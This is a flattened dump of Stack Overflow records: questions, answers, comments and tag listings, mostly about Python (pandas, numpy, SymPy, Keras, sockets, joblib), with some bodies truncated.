tags question: http://stackoverflow.com/q/46923931
tags question: http://stackoverflow.com/q/46977095
tags question: http://stackoverflow.com/q/46996782
tags question: http://stackoverflow.com/q/46968777

http://stackoverflow.com/comment/80966160
score: 0
has text: I may suggest learning regular expressions. They may be hard to use and recognize at the beginning, but can become a very powerful utility.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47009752

http://stackoverflow.com/a/47042270
answers question: http://stackoverflow.com/q/47040884
type: Answer
has comment: http://stackoverflow.com/comment/81034234
has comment: http://stackoverflow.com/comment/81033837
has comment: http://stackoverflow.com/comment/81032764
score: 1
has body: Based on @Ixop 's idea: dL = np.diff(lon) ix = np.argmax(dL&lt;0)+1 L = lon[0:ix] You can write the same in 1 line: L = lon[0:np.argmax(np.diff(lon)&lt;0)+1]
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/80834803
score: 0
type: Comment
has text: Yep, I'm just waiting for the time limit to pass -- I guess I have to wait about 10 minutes after the question is asked to mark your response as accepted.
comment on: http://stackoverflow.com/a/46943602
type: AnswerComment

http://stackoverflow.com/comment/81088836
type: QuestionComment
has text: I except to get an error status code like 5xx that the program keep working.
comment on: http://stackoverflow.com/q/47055443
score: 0
type: Comment

http://stackoverflow.com/comment/81010284
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47031636
has text: aha, great link I should have read those guidelines! it makes complete sense. Thank you!
type: Comment

http://stackoverflow.com/q/47059080
tagged with: python
has answer: http://stackoverflow.com/a/47061687
has answer: http://stackoverflow.com/a/47059289
tagged with: for-loop
downvote count: 0
answer count: 3
has body: I have one files. File1 which has 3 columns. Data are tab separated File1: 2 4 Apple 6 7 Samsung Let's say if I run a loop of 10 iteration. If the iteration has value between column 1 and column 2 of File1, then print the corresponding 3rd column from File1, else print "0". The columns may or may not be sorted, but 2nd column is always greater than 1st. Range of values in the two columns do not overlap between lines. The output Result should look like this. Result: 0 Apple Apple Apple 0 Samsung Samsung 0 0 0 My program in python is here: chr5_1 = [[]] for line in file: line = line.rstrip() line = line.split("\t") chr5_1.append([line[0],line[1],line[2]]) # Here I store all position information in chr5_1 list in list chr5_1.pop(0) for i in range (1,10): for listo in chr5_1: L1 = " ".join(str(x) for x in listo[:1]) L2 = " ".join(str(x) for x in listo[1:2]) L3 = " ".join(str(x) for x in listo[2:3]) if int(L1) &lt;= i and int(L2) &gt;= i: print(L3) break else: print ("0") break I am confused with loop iteration and it break point.
has title: Print data between positions within a loop
upvote count: 1
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47059502
has comment: http://stackoverflow.com/comment/81067534
has comment: http://stackoverflow.com/comment/81066334
favorite count: 0
has comment: http://stackoverflow.com/comment/81065927
type: Question
has comment: http://stackoverflow.com/comment/81065735
score: 1

pyqt4
tags question: http://stackoverflow.com/q/47036326
tags question: http://stackoverflow.com/q/47028877
tags question: http://stackoverflow.com/q/46961642
tags question: http://stackoverflow.com/q/47051241
tags question: http://stackoverflow.com/q/46977744
tags question: http://stackoverflow.com/q/47036347
tags question: http://stackoverflow.com/q/46998657
type: Tag
tags question: http://stackoverflow.com/q/46949308
tags question: http://stackoverflow.com/q/46913428
tags question: http://stackoverflow.com/q/46940232
tags question: http://stackoverflow.com/q/47041271
tag name: pyqt4

http://stackoverflow.com/a/55731457
upvote count: 19
type: Answer
has body: TLDR; CPython integer type stores the sign in a specific field of a structure. When performing a bitwise operation, CPython replaces negative numbers by their two's complement and sometimes (!) performs the reverse operation (ie replace the two's complements by negative numbers). Bitwise operations The internal representation of an integer is a PyLongObject struct, that contains a PyVarObject struct. (When CPython creates a new PyLong object, it allocates the memory for the structure and a trailing space for the digits.) What matter here is that the PyLong is sized: the ob_size field of the PyVarObject embedded struct contains the size (in digits) of the integer (digits are either 15 or 30 bits digits). If the integer is negative then this size is minus the number of digits . (References: https://github.com/python/cpython/blob/master/Include/object.h and https://github.com/python/cpython/blob/master/Include/longobject.h) As you see, the inner CPython's representation of an integer is really far from the usual binary representation. Yet CPython has to provide bitwise operations for various purposes. Let's take a look at the comments in the code: static PyObject * long_bitwise(PyLongObject *a, char op, /* '&', '|', '^' */ PyLongObject *b) { /* Bitwise operations for negative numbers operate as though on a two's complement representation. So convert arguments from sign-magnitude to two's complement, and convert the result back to sign-magnitude at the end. */ /* If a is negative, replace it by its two's complement. */ /* Same for b. */ /* Complement result if negative. */ } To handle negative integers in bitwise operations, CPython use the two's complement (actually, that's a two's complement digit by digit, but I don't go into the details). But note the "Sign Rule" (name is mine): the sign of the result is the bitwise operator applied to the signs of the numbers. More precisely, the result is negative if nega <op> negb == 1, (negx = 1 for negative, 0 for positive). Si…
downvote count: 0
answers question: http://stackoverflow.com/q/46993519
score: 19

http://stackoverflow.com/q/46996507
type: Question
has comment: http://stackoverflow.com/comment/80939665
has answer: http://stackoverflow.com/a/46996580
has answer: http://stackoverflow.com/a/46996522
accepted answer: http://stackoverflow.com/a/46996522
has comment: http://stackoverflow.com/comment/80939765
has body: Suppose I have a list [['apple', 'tree', 4, 5], ['orange', 'bush', 6, 3]]. There isn't always 2 nested lists, could be more. I know how I would compare indexes 2 from this specific list, but lets say there's 6 nested lists. How would I compare index 2 in all of them, and then store the list with the largest value in its second index. The point is I don't know how many lists there are and need to make it work for any amount. There is a precondition and its that the sublists are all the same length and that the second index will contain an integer. This is a question for school so I just need help with the basic idea and not really the whole chunk of code as I don't want to plagiarize. I have made attempts, but I get index out of range error. Any help would be appreciated temp = [] for i in range(len(lst)): if lst[i][2] &gt; lst[i+1][2]: temp = lst[i] return temp `
tagged with: python
has comment: http://stackoverflow.com/comment/80939580
has title: comparing indexes in a nested list
type: AnsweredQuestion
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/80939684
linked to: http://stackoverflow.com/q/13669252
has answer: http://stackoverflow.com/a/46996569
possible better answer: http://stackoverflow.com/a/46996569

http://stackoverflow.com/q/46935384
tagged with: amazon-sns
has comment: http://stackoverflow.com/comment/81362099
has body: I'm having some trouble invoking locally using serverless. Using Python3.6 runtime The function in serverless.yml is: functions: myFunction: events: - sns: arn:aws:sns:us-east-1:123456789:myTopic My command is sls invoke local -f myFunction -s dev -r us-east-1 -p events/myMockedSnsMessage.json Serverless doesn't like the syntax on the myMockedSnsMessage.json When I log the event in my lambda function I get something like: { 'Records': [ { 'Sns': { 'Message': '{"version":"0","id":"a965ce94-fcb2-ad15-319d-04adab1072d0","detail-type":"AWS API Call via CloudTrail",...}' } } ] } That is, the SNS message is a string with valid JSON inside How should I store a mock event for an SNS message and still have valid JSON so serverless doesn't yell at me for bad JSON syntax?
tagged with: python
has comment: http://stackoverflow.com/comment/81360891
tagged with: amazon-web-services
has title: serverless invoke local with mocked SNS event
score: 0
has answer: http://stackoverflow.com/a/46943426
answer count: 1
has comment: http://stackoverflow.com/comment/81362186
type: Question
tagged with: python-3.x
tagged with: serverless-framework
type: UnansweredQuestion

http://stackoverflow.com/comment/80839977
type: QuestionComment
has text: @Nain Thank you for your suggestion. tf.concat helped me to get the results but mixed. In my case, in a list, each element represents a class, so if class 1 is found 6 times, I should get a array of 6 items for this class but concat, will outputs all the results for all the classes in a single array and not a array of arrays.
comment on: http://stackoverflow.com/q/46945210
score: 0
type: Comment

http://stackoverflow.com/a/46934791
type: Answer
has body: I think you just forgot the calls to range() in the for-loops. It should work as you expect once they are corrected. Here is the corrected code: import re string = "R(95DHS(60PST_35FDP_05MTR)_05A(95DHS" lug_par = [s.start() for s in re.finditer('\(', string)] lug_par_cierra = [s.start() for s in re.finditer('\)', string)] cont_y = 0 for i in range(0, len(lug_par_cierra)): #range() added cont_x = 0 for j in range(0, len(lug_par)): #range() added if(lug_par[cont_x] &gt; lug_par_cierra[cont_y]): c = lug_par.index(cont_x) borra = lug_par_cierra.index(c) break else: print lug_par[cont_x] cont_x = cont_x + 1 cont_y = cont_y + 1
has comment: http://stackoverflow.com/comment/80816949
answers question: http://stackoverflow.com/q/46934346
downvote count: 0
upvote count: 1
score: 1

http://stackoverflow.com/a/46945009
accepted answer of: http://stackoverflow.com/q/46944650
downvote count: 0
has comment: http://stackoverflow.com/comment/80837326
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80837306
has body: NaN is consistently used as a placeholder for missing, when replacing part of a string with "missing" it can only mean the entire entry is compromised. I've heard this called NaN pollution (or similar, will see if I can find some references), in that if NaN touches the data is compromised. That said, that's not always the case: In [11]: s = pd.Series([1, 2, np.nan, 4]) In [12]: s.sum() Out[12]: 7.0 In [13]: s.sum(skipna=False) Out[13]: nan In some languages you'll see skipna=False as the default behaviour, some vehemently argue that NaN should always pollute all data. Pandas takes a somewhat more pragmatic approach... The real question is what do you expect it to do in the case of NaN?
answers question: http://stackoverflow.com/q/46944650
type: Answer
score: 4
has comment: http://stackoverflow.com/comment/80837460
upvote count: 4

http://stackoverflow.com/comment/80940578
comment on: http://stackoverflow.com/a/46996955
has text: Oops sorry hadn't seen the answer.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/80874857
score: 0
comment on: http://stackoverflow.com/a/46962730
type: Comment
type: AnswerComment
has text: The second one is working perfectly, I try it but it was without the comma. Thanks.

http://stackoverflow.com/q/47017976
tagged with: python
has title: Calculations are not stored in the passed arguments when processes are executed in parallel
tagged with: parallel-processing
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/5983159
score: 0
accepted answer: http://stackoverflow.com/a/47063544
answer count: 1
has answer: http://stackoverflow.com/a/47063544
type: Question
tagged with: python-3.x
has body: I have a function which I am applying to different chunks of my data. Since each chunk is independent of the rest, I wish to execute the function for all chunks in parallel. I have a result dictionary which should hold the output of calculations for each chunk. Here is how I did it: from joblib import Parallel, delayed import multiprocessing cpu_count = multiprocessing.cpu_count() # I have 8 cores, so I divide the data into 8 chunks. endIndeces = divideIndecesUniformly(myData.shape[0], cpu_count) # e.g., [0, 125, 250, ..., 875, 1000] # initialize result dictionary with empty lists. result = dict() for i in range(cpu_count): result[i] = [] # Parallel execution for 8 chunks Parallel(n_jobs=cpu_count)(delayed(myFunction)(myData, start_idx=endIndeces[i], end_idx=endIndeces[i+1]-1, result, i) for i in range(cpu_count)) However, when the execution is finished result has all initial empty lists. I figured that if I execute the function serially over each chunk of data, it works just fine. For example, if I replace the last line with the following, result will have all the calculated values. # Instead of parallel execution, call the function in a for-loop. for i in range(cpu_count): myFunction(myData, start_idx=endIndeces[i], end_idx=endIndeces[i+1]-1, result, i) In this case, result values are updated. It seems that when the function is executed in parallel, it cannot write on the given dictionary (result). So, I was wondering how I can obtain the output of function for each chunk of data?

http://stackoverflow.com/q/46914006
answer count: 1
favorite count: 0
type: Question
tagged with: python
has body: I have a computation in Sympy, which I want to be modulo 2. However, if I just write from sympy.abc import x (((x + 1) % 2) + 1) % 2 Then this has the output Mod(Mod(x + 1, 2) + 1, 2), i.e. the two +1 do not vanish. Even calling .simplify() does not have the desired effect. Another post (Modulo 2 arithmetics in SymPy) suggested sympy.trunc. But this function does not work if the expression is integer. I even tried sympy.trunc(sympy.sympify(1),2), but this still raised an Error. So how do I get a modulo function that works on integers and all coefficients? PS: I am aware that this is a basic question, and I was confused, that I could not find an answer.
accepted answer: http://stackoverflow.com/a/46985173
has title: Modulo computations in Sympy fail
has comment: http://stackoverflow.com/comment/80902939
tagged with: sympy
has answer: http://stackoverflow.com/a/46985173
upvote count: 2
type: AnsweredQuestion
score: 2
linked to: http://stackoverflow.com/q/21660852
has comment: http://stackoverflow.com/comment/80782758
downvote count: 0
tagged with: modular-arithmetic

http://stackoverflow.com/a/67000583
type: Answer
score: 4
upvote count: 4
downvote count: 0
has body: This can help you: pd.set_option('display.max_columns', None) pd.set_option('display.max_rows', None)
answers question: http://stackoverflow.com/q/47022070

http://stackoverflow.com/q/46921008
tagged with: http://stackoverflow.com/tag/csv
has answer: http://stackoverflow.com/a/46921039
tagged with: python
score: 2
type: AnsweredQuestion
tagged with: pandas
upvote count: 2
has body: Im trying to read a txt into python using pd.read.csv where the columns are separated by tabs. I want to read it as a csv. When it reads the file it adds an extra column with no header full of NAN entries. How do I avoid it reading this extra non-existing column. Code looks like this: data = pd.read_csv('Desktop/SciKit Projects/Task 1/Datasets/Skin_NonSkin.txt', sep = '\t') DataSet looks like this: B G R Target 74 85 123 1 73 84 122 1 75 81 112 1 ... and it ends up being as read as this: B G R Target Unnamed: 4 0 74 85 123 1 NaN 1 73 84 122 1 NaN 2 72 83 121 1 NaN 3 70 81 119 1 NaN Thank you
downvote count: 0
answer count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/46921039
has title: PANDAS reading extra column from txt file that doesn't exist

http://stackoverflow.com/comment/81076309
type: QuestionComment
comment on: http://stackoverflow.com/q/47062687
has text: CSV files are allowed newlines in cells. Try loading it into Excel, you should see it is correctly displayed.
score: 0
type: Comment

http://stackoverflow.com/a/47064598
has comment: http://stackoverflow.com/comment/81077441
type: Answer
score: 0
has body: What you want to do is look thru the dictionaries presented inside the channels, you can do that with the following... for dic in respjson['channels']: pprint(dic['id'])
answers question: http://stackoverflow.com/q/47064519

http://stackoverflow.com/comment/89413929
type: Comment
type: AnswerComment
score: 0
has text: I would like to contact you for a question, nothing about writing code or pay you for some work. Just a question about the "most logical practice" to solve a problem, because by looking your profile it looks like you could have the right answer. Just let me know if I can and how to contact you, thanks.
comment on: http://stackoverflow.com/a/50254564

http://stackoverflow.com/a/64426989
downvote count: 0
upvote count: 1
score: 1
type: Answer
answers question: http://stackoverflow.com/q/46907584
has comment: http://stackoverflow.com/comment/129142250
has body: In my case, I had to put all my project files into a subdirectory app -|inside app directory we have the following | package.js | src | assets Dockerfile Then I copied files in his way COPY app ./

http://stackoverflow.com/comment/80830957
score: 0
type: Comment
type: QuestionComment
has text: Yes, either your terminal doesn't accept unicode characters, or Python is under the impression that it doesn't. Try changing your terminal setttings.
comment on: http://stackoverflow.com/q/46941712

http://stackoverflow.com/comment/80783814
type: AnswerComment
comment on: http://stackoverflow.com/a/46918198
score: 3
type: Comment
has text: This answer would be better if you explained what you did differently. Otherwise we have to read line-by-line to figure out what the significant changes are. Also, it doesn't matter when you call the `geometry` command.

http://stackoverflow.com/a/46956993
score: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46955022
has body: Perhaps select each crime type and plot each as a separate series. i.e fig, ax = plt.subplots() for ctype in crimeMonthDf['crimeType'].unique(): ax.plot(crimeMonthDf.loc[crimeMonthDf['crimeType'] == ctype, label=ctype) plt.legend()
accepted answer of: http://stackoverflow.com/q/46955022
type: Answer

http://stackoverflow.com/q/46956286
downvote count: 0
upvote count: 1
has title: Asynchronous Python TCP Server Socket not closing connections
has comment: http://stackoverflow.com/comment/80895687
has comment: http://stackoverflow.com/comment/80874894
favorite count: 0
has comment: http://stackoverflow.com/comment/80875424
type: Question
has comment: http://stackoverflow.com/comment/80916462
type: UnansweredQuestion
tagged with: sockets
score: 1
linked to: http://stackoverflow.com/q/1342712
tagged with: python
has comment: http://stackoverflow.com/comment/80875143
tagged with: asynchronous
has body: I have an asynchronous python TCP socket that does not close connections. Nor does a for loop run that should close all exceptional sockets supplied by select.select(). However the layout of my code seemingly allows for all of the above. What I want to happen is: inputs = [] create server (non-blocking) inputs.append(server) while true: readable, _, exceptional = select.select(inputs, [], inputs) for s in readable: if server: accept new client and append to inputs if client: accept length indicator data (non-blocking) if no data: close client and remove from inputs if data: get more data if no data: close client and remove from inputs if data: Place data in Queue.Queue keep socket alive and in inputs (my logic for this is that the client may send data sooner rather than later and can do so across the same connection - however this doesn't seem to happen, they seem to always go into the exceptional list) Here is some further context. I cannot program the clients (as of yet) I believe they are designed in c# (is there anything different about a c# socket communicating with a python server socket?) The clients are small IoT devices essentially, they send a very small amount of data (48 bytes). The goal is to have them constantly connected with the socket (not reconnecting) so as to increase data transfer rates. Here is the actual code (partially reduced): #!/usr/bin/python """ WebSocket with Hive Readers as clients @Created: 21/06/2017 @Version: 2.0 @Last_Update:30/06/2017 @author: Daniel Cull """ import socket import threading import errno import logging import urllib2 import json import datetime import timeit import Queue import time import select from HTMLParser import HTMLParser logging.basicConfig(filename='/home/dsp/logs/hiveBridge.log', level=logging.DEBUG, format='%(asctime)s %(levelname)s: %(threadName)s - %(message)s') BUF_SIZE = 10 q = Queue.Queue(BUF_SIZE) # Defines the hostname and port to listen on host = socket.gethostname() port = 9007 url = 'http://pea…
has comment: http://stackoverflow.com/comment/80892846
tagged with: message-queue
has comment: http://stackoverflow.com/comment/80916430
answer count: 0

powercli
tag name: powercli
type: Tag
tags question: http://stackoverflow.com/q/46928104

oop
tags question: http://stackoverflow.com/q/46978144
tags question: http://stackoverflow.com/q/46920693
tags question: http://stackoverflow.com/q/46990754
tags question: http://stackoverflow.com/q/46960128
tags question: http://stackoverflow.com/q/46990511
tags question: http://stackoverflow.com/q/47052595
tags question: http://stackoverflow.com/q/46992457
tag name: oop
tags question: http://stackoverflow.com/q/47057325
tags question: http://stackoverflow.com/q/47005192
tags question: http://stackoverflow.com/q/46993312
tags question: http://stackoverflow.com/q/47014999
tags question: http://stackoverflow.com/q/46906867
tags question: http://stackoverflow.com/q/46937842
tags question: http://stackoverflow.com/q/47062428
tags question: http://stackoverflow.com/q/47012889
tags question: http://stackoverflow.com/q/47006114
tags question: http://stackoverflow.com/q/46915836
tags question: http://stackoverflow.com/q/46945436
type: Tag
tags question: http://stackoverflow.com/q/46932191

http://stackoverflow.com/q/46950347
has comment: http://stackoverflow.com/comment/80847991
answer count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80847895
has comment: http://stackoverflow.com/comment/80847990
tagged with: loops
has comment: http://stackoverflow.com/comment/80847934
type: Question
has title: Can this be optimized? whois over a list
has body: This code in Python 3.4 works fine, but I am wondering how it can be made faster: from string import ascii_lowercase from itertools import product import whois domains = list() available_domains = list() for c in map(''.join, product(ascii_lowercase, repeat=2)): domains.append(c+'.at') for dom in domains: domain = whois.query(dom) if domain == '': available_domains.append(domain) print(available_domains) Any input will be appreciated. Thanks!
has answer: http://stackoverflow.com/a/46950446
tagged with: python
tagged with: whois
has comment: http://stackoverflow.com/comment/80848120
has answer: http://stackoverflow.com/a/46950573
tagged with: python-3.x
score: 0

http://stackoverflow.com/q/46993495
accepted answer: http://stackoverflow.com/a/47002342
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/80934237
type: AnsweredQuestion
tagged with: list
score: 1
downvote count: 0
answer count: 1
tagged with: nested
upvote count: 1
has answer: http://stackoverflow.com/a/47002342
favorite count: 0
has body: list = [[1, 2, 3, 0, 0], [0, 0, 3, 2, 1], [1, 0, 0, 3, 2], [2, 3, 1, 0, 0], [3, 0, 1, 2, 0], [2, 0, 1, 3, 0]] I would like to check if the number 1 is in the third column of all the nested lists, if it is than it should replace the 1 with a 0 and the 2 in that list with a 1. Thanks in advance
type: Question
tagged with: nested-lists
has title: Transferring Values in nested dictionaries/lists
has comment: http://stackoverflow.com/comment/80934496

http://stackoverflow.com/comment/81043428
has text: Thank you! Changing "names = list(file.read())" to "names = read.file()" and then testing against that fixed it!
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47048117
type: Comment

scipy
tags question: http://stackoverflow.com/q/47056634
tags question: http://stackoverflow.com/q/47046754
tags question: http://stackoverflow.com/q/47037128
tags question: http://stackoverflow.com/q/46950923
tags question: http://stackoverflow.com/q/46983476
tags question: http://stackoverflow.com/q/46956638
tags question: http://stackoverflow.com/q/47004375
tags question: http://stackoverflow.com/q/46932619
tags question: http://stackoverflow.com/q/47026221
tags question: http://stackoverflow.com/q/47013837
tags question: http://stackoverflow.com/q/46939140
tags question: http://stackoverflow.com/q/47000071
tags question: http://stackoverflow.com/q/47025225
tags question: http://stackoverflow.com/q/46992999
tags question: http://stackoverflow.com/q/46915800
tags question: http://stackoverflow.com/q/47038740
tags question: http://stackoverflow.com/q/46974214
tags question: http://stackoverflow.com/q/47004736
tags question: http://stackoverflow.com/q/46970814
tags question: http://stackoverflow.com/q/46919216
type: Tag
tags question: http://stackoverflow.com/q/46939103
tags question: http://stackoverflow.com/q/46953084
tags question: http://stackoverflow.com/q/47036509
tag name: scipy
tags question: http://stackoverflow.com/q/46987610
tags question: http://stackoverflow.com/q/46940556
tags question: http://stackoverflow.com/q/46918150
tags question: http://stackoverflow.com/q/47021492
tags question: http://stackoverflow.com/q/46911984
tags question: http://stackoverflow.com/q/47004850
tags question: http://stackoverflow.com/q/46941149
tags question: http://stackoverflow.com/q/46941874
tags question: http://stackoverflow.com/q/46998199
tags question: http://stackoverflow.com/q/46934563
tags question: http://stackoverflow.com/q/46934782
tags question: http://stackoverflow.com/q/47055712
tags question: http://stackoverflow.com/q/47062007
tags question: http://stackoverflow.com/q/46939100
tags question: http://stackoverflow.com/q/47005070
tags question: http://stackoverflow.com/q/46936260
tags question: http://stackoverflow.com/q/47055970
tags question: http://stackoverflow.com/q/46922282
tags question: http://stackoverflow.com/q/46958127
tags question: http://stackoverflow.com/q/46953448
tags question: http://stackoverflow.com/q/47008132

http://stackoverflow.com/comment/80874990
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46963550
has text: `liste` shouldn't be global for starters. Then are you aware that your input is a list of lists? not just a list? what is your expected result?
score: 1

http://stackoverflow.com/comment/81003527
has text: Please read & act on [mcve]. Also [ask]--what has googling given you?
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47026948

http://stackoverflow.com/comment/81032884
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47039914
has text: where is `a[3]` and `a[4]` ?

http://stackoverflow.com/comment/80787982
has text: exactly, besides along with `world` word , the word `the` is also duplicated
type: QuestionComment
comment on: http://stackoverflow.com/q/46920126
score: 0
type: Comment

semaphore
type: Tag
tag name: semaphore
tags question: http://stackoverflow.com/q/47006151

http://stackoverflow.com/q/47007997
tagged with: keras
answer count: 1
has body: I'm trying to implement a custom loss function for keras using tensorflow backend. The idea i'm working with is to provide the "Cost" of a "Signal" as the y_true and handle the signals as the y_pred. This is basically a complicated classification situation. As an example lets say I have 3 possible output signals and N samples then I would have a cost matrix that is Nx3 and my predictions would also be Nx3 (So as to not run into problems with y_true and y_pred needing to be the same size. The way I am selecting my actual signal is by taking the max of the three output values and then the cost for this signal is the value in the cost matrix at the corresponding index. Total cost is the sum of these individual costs. I have implemented this in tensorflow (I needed to use gather_nd so I couldn't use keras.backend but all the examples I have read online don't seem to care about this fact). The code for my implementation is: def maxSignalLossTF(costs, signals): signalChoices = tf.transpose(tf.stack((tf.to_int64(tf.range(tf.shape(signals)[0])), tf.argmax(signals, axis=1)))) signalCosts = tf.gather_nd(costs, signalChoices) return tf.reduce_sum(signalCosts) I have confirmed this function to be working as expected by comparing it to the numpy equivalent. I am passing this loss function to my model when compiling: model = Sequential() model.add(Dense(250, input_shape=(trainX.shape[1],))) model.add(Activation('relu')) model.add(Dropout(0.1)) model.add(Dense(250)) model.add(Activation('relu')) model.add(Dense(3)) model.add(Activation('linear')) model.compile(optimizer='adam', loss=maxSignalLossTF) All of this seems to work fine until I try to fit the model with: model.fit(TrainX, TrainY, epochs=100) At which point the console spits out the following unhelpful message Traceback (most recent call last): File "tensortest.py", line 331, in &lt;module&gt; model.fit(TrainX, TrainY, epochs=100) File "/home/myname/anaconda2/lib/python2.7/site-packages/keras/models.py", line 845, in fit …
tagged with: tensorflow
type: Question
has title: keras custom loss function Value error on convert to tensor
tagged with: python
accepted answer: http://stackoverflow.com/a/47014948
has answer: http://stackoverflow.com/a/47014948
type: AnsweredQuestion
score: 0

http://stackoverflow.com/comment/80822238
has text: Is that forbidden? No rules say that, is a fail in the system, not my fault hahahaha
type: QuestionComment
comment on: http://stackoverflow.com/q/46937375
type: Comment
score: 0

http://stackoverflow.com/comment/111217239
has text: Interesting, but the question is about placing points in 3D. If I adapt your code with a z dimension (equal size as y) and set `n_points=40`, it runs like forever even though the total excluded volume of the points is only 20% of what's available.
type: AnswerComment
comment on: http://stackoverflow.com/a/62891142
score: 0
type: Comment

http://stackoverflow.com/q/47023554
has comment: http://stackoverflow.com/comment/80994601
type: UnansweredQuestion
score: 6
tagged with: python
tagged with: sorting
has comment: http://stackoverflow.com/comment/80994524
upvote count: 6
answer count: 4
has comment: http://stackoverflow.com/comment/80994400
has answer: http://stackoverflow.com/a/47023783
tagged with: list
has comment: http://stackoverflow.com/comment/80994710
has answer: http://stackoverflow.com/a/47025690
downvote count: 0
has title: Word list generation (sorting, optimization)
has body: A little background: I'm constructing lists of words for a psychology experiment. We're trying to create a chain of words such that words adjacent in the list are related, but all other words in the list are not related. So for example: SCHOOL, CAFETERIA, PIZZA, CRUST, EARTH, OCEAN, WHALE, ... So here we see the first word is related to the second, and the second is related to the third, but the third isn't related to the first. (And the first isn't related to the fourth, fifth, sixth, ... either) What I have so far... I have a list of 1600 words such that each number from 0 to 1600 corresponds to a word. I also have a very large matrix (1600 x 1600) that tells me (on a scale of 0 to 1) how related each word is to every other word. (These are from a latent semantic analysis; http://lsa.colorado.edu/) I can make the lists, but it's not very efficient at all, and my adjacent words aren't super strongly related to each other. Here's my basic algorithm: Set thresholds for minimum value for how related the adjacent words must be and for how unrelated the non-adjacent words must be. Create a list from 0 to 1600. Shuffle that list. The first item of the list will be our first word. Loop through our words, checking one by one if the word meets our thresholds (i.e., check that this new word is high enough related to the last added word in the list, loop through our list and check that it's unrelated to all other words and that it isn't already in our list). If it meets the criteria, add it to the list. If we loop through all words with no success, dump the list and start all over. Continue this until the list has as many words as I want (ideally, 16). Does anyone have a better approach? The problem with my approach is that I'll sometimes settle for an okay match that meets my criteria when a better match is potentially still out there. Also, it would be nice if I didn't have to dump the whole list but could backtrack a few steps to where the list potentially went wrong.
has comment: http://stackoverflow.com/comment/103651734
has answer: http://stackoverflow.com/a/47059215
has answer: http://stackoverflow.com/a/47023858
favorite count: 0
type: Question
tagged with: algorithm

http://stackoverflow.com/comment/80815562
type: QuestionComment
comment on: http://stackoverflow.com/q/46933940
score: 0
has text: .annotate(name_lower=Lower('name')) .values('name_lower')
type: Comment

http://stackoverflow.com/q/47038645
tagged with: google-app-engine
tagged with: python
has answer: http://stackoverflow.com/a/47040851
has answer: http://stackoverflow.com/a/47287852
possible better answer: http://stackoverflow.com/a/47287852
score: 12
upvote count: 12
type: AnsweredQuestion
answer count: 2
downvote count: 0
tagged with: django
accepted answer: http://stackoverflow.com/a/47040851
favorite count: 0
has body: How can I edit the Google App Engine NGINX configuration? There doesn't seem to be much support in the Google docs in regards to the NGINX configuration for apps running in the Google App Engine flexible environment. My app is running fine, but I get this 413 error when I try and upload an audio file (.wav or .mp3). 413 Request Entity Too Large -- nginx My app is running Django (python 3), with Cloud Postgres SQL and Cloud Storage enabled. I researched the error, and it seems I can set a nginx.config file so that it includes "client_max_body_size 80M" - but like I said, there is no documentation regarding how to manually config NGINX on deploy. Any suggestions?
type: Question
tagged with: nginx
has title: How can I edit the NGINX configuration on Google App Engine flexible environment?

http://stackoverflow.com/a/46915993
score: 1
type: Answer
answers question: http://stackoverflow.com/q/46915786
has body: It is the 3rd time I using crosstab today .. pd.crosstab(index=df['Col 1'],columns=df['Col 2'],values=df['Col 3'],aggfunc=sum).\ fillna(0).rename_axis(None, 1).add_prefix('Col2_').reset_index()
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/80918301
type: Comment
type: AnswerComment
has text: Thanks. I did know about the actual multiprocessing implementation which uses processes instead of threads, but I am required to use threads for my application. However, I didn't know that the implementation of `ThreadPool.terminate()` is actually that way. Is there any alternative to the `ThreadPool` which I could use without having to implement the termination communication functionality myself (and probably for every single task)? Having to do something like catching an exception in tasks is still fine of course.
comment on: http://stackoverflow.com/a/46984991
score: 0

http://stackoverflow.com/comment/80794644
type: Comment
type: QuestionComment
has text: Be aware that your example array happens to be set such, that the two arrays in the result appear to be the two x, y index pairs you're looking for. Instead, these are the [x1, x2] and [y1, y2] indices of the matches. Try e.g. `[[0,5000,200],[1320,24,1200],[234,5000,5230]]` instead to see.
comment on: http://stackoverflow.com/q/46923717
score: 1

http://stackoverflow.com/a/47064101
type: Answer
has comment: http://stackoverflow.com/comment/81161825
type: AcceptedAnswer
has body: For each dictionary in the list, get the 'question' and 'answer' keys: for l in d: print l['question'], l['answer'] output: 'For the last 8 years of his life, Galileo was under house arrest for espousing this man's theory' Copernicus 'No. 2: 1912 Olympian; football star at Carlisle Indian School; 6 MLB seasons with the Reds, Giants &amp; Braves' Jim Thorpe 'The city of Yuma in this state has a record average of 4,055 hours of sunshine each year' Arizona
accepted answer of: http://stackoverflow.com/q/47063924
score: 0
answers question: http://stackoverflow.com/q/47063924

http://stackoverflow.com/comment/80909937
type: Comment
type: QuestionComment
score: 0
has text: @Wen https://pastebin.com/WC8YLLNm
comment on: http://stackoverflow.com/q/46976710

http://stackoverflow.com/q/46991861
answer count: 3
tagged with: file-io
has answer: http://stackoverflow.com/a/46991926
has comment: http://stackoverflow.com/comment/80930300
has body: In python, the following will let us write to stdout: import sys sys.stdout.write("blah %d" % 5) However, I want to be flexible about which stream we print to. I want to pass the stream as an argument into a function, as you would when calling fprintf in any of C derived languages. In the snippet of source code above, stdout is hard-coded into the write-statement. However, we want to be flexible about which stream we write to. we might want stderr, or some other stream instead of stdout.
has comment: http://stackoverflow.com/comment/80930313
downvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
has title: What is an easy way to implement fprintf in python?
score: 3
type: UnansweredQuestion
tagged with: python
tagged with: dictionary
has answer: http://stackoverflow.com/a/46991918
tagged with: ascii
upvote count: 4
has answer: http://stackoverflow.com/a/46991889

if-statement
tags question: http://stackoverflow.com/q/47036972
tags question: http://stackoverflow.com/q/46939745
tags question: http://stackoverflow.com/q/46999225
